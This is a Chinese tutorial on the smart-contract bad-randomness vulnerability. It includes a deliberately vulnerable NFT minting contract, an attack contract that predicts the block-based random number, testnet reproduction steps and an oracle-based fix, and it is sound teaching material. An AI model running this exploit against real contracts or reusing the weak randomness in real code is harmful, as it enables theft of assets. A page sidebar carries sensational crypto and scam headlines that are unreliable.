WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。


这一讲,我们将介绍智能合约的坏随机数(Bad Randomness)漏洞和预防方法,这个漏洞经常在 NFT 和 GameFi 中出现,包括 Meebits,Loots,Wolf Game等。

伪随机数

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明(public)且确定性(deterministic)的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数,初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数:当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}

它有一个主要的铸造函数 luckyMint(),用户调用时输入一个 0-99 的数字,如果和链上生成的伪随机数 randomNumber 相等,即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中,我们计算了随机数 luckyNumber,然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

  1. 部署 BadRandomness 合约。

  2. 部署 Attack 合约。

  3. 将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用,完成攻击。

  4. 调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额,确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如 Chainlink VRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲:伪随机数。

总结

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

24小时热点

狗狗币一夜暴涨700倍创下历史新高!

最近一段时间狗狗币暴涨幅度达到700倍,出现了巨大的涨幅,这 ...

3186796

波场区块链浏览器

诈骗披露:成功学周文强

又一个“成功学”大师周文强翻车 你想一夜暴富吗?你想年薪百 ...

3855809

Lazy Lions

链圈打诈之缅北将女子虐待打傻后开火车、四轮定位

缅北将女子虐待打傻后遣返,不能正常进食享受电击,回国时人已疯 ...

1481976

抹茶

链圈打诈之缅北十大酷刑之:吃冰棍

吃冰棍 对女孩的另一种残忍惩罚,先用模型注水放进冰箱 ...

2406116

中币交易所

2024年美元兑人民币汇率预测:会涨到8元吗?市场密切关注

2024年美元兑人民币汇率吸引了许多投资者的关注,涨到8元的 ...

4251335

波场区块链浏览器

F8Coin货币交易所交易量如何?

F8Coin是一种加密货币,它是在比特币发展了八年之后推出的 ...

209901

YoBit

中国十大传销币之:派币(π币、pi币、pi network、兀币)

是骗局。pi币”的数字货币,有不少人在购买,不知道是不是所谓 ...

692511

中值联资讯

链圈打诈:缅北恐怖视频截图

缅北诈骗集团真实画面,电击剁手只算最轻惩罚,自杀都成一种奢望 ...

949949

ZPLAN元宇宙

链圈打诈之缅北十大酷刑之:开火车

缅北美梦,女性酷刑:吃冰棍,开火车,喝珍珠奶茶... ...

1640641

ZT GLOBAL 交易所

Token在线解析

Token在线解析是一种在线token解析工具,可以帮助用户 ...

1228410

IOST

热点专题

2024年美元兑人民币汇率预测:会涨到8元吗?市场密切关注

2024年美元兑人民币汇率吸引了许多投资者的关注,涨到8元的 ...

4247167

波场区块链浏览器

诈骗披露:成功学周文强

又一个“成功学”大师周文强翻车 你想一夜暴富吗?你想年薪百 ...

3855530

Lazy Lions

狗狗币一夜暴涨700倍创下历史新高!

最近一段时间狗狗币暴涨幅度达到700倍,出现了巨大的涨幅,这 ...

3186312

波场区块链浏览器

专门忽悠企业家的中国十大骗子大师

区块链网创立于2015年初,为国内第一批有资质的区块链媒体, ...

2825546

希壤

中国十大骗局之pi network(π币、pi币、派币、兀币)

中国十大骗局之pi network(π币、pi币、派币、兀币 ...

2578800

Gemini 交易所

2023年打假总结:Pi Network项目的传销性质Pi币

曾经,号称“走路就能赚钱”拥有大量用户和广泛影响的国内APP ...

2471845

文昌链

国内460种传销币套路和骗子币名单大曝光

打着区块链旗号,以聚集性传销、网络传销为手段,以每枚3元的价 ...

2173330

Coin Metrics

原力元宇宙佛萨奇骗局

原力元宇宙佛萨奇骗局是一种不可思议的幻想计划,它由一群英勇可 ...

2108576

聚币网

柴犬币SHIB来了

因其可爱形象和马斯克代言,近段时间最耀眼的加密货币非狗狗币莫 ...

1295270

Luart

链圈打诈:3000名解放军去缅甸真的假的?

3000名解放军去缅甸这个是假新闻,出兵这是个大问题,如果我 ...

1231199

a16z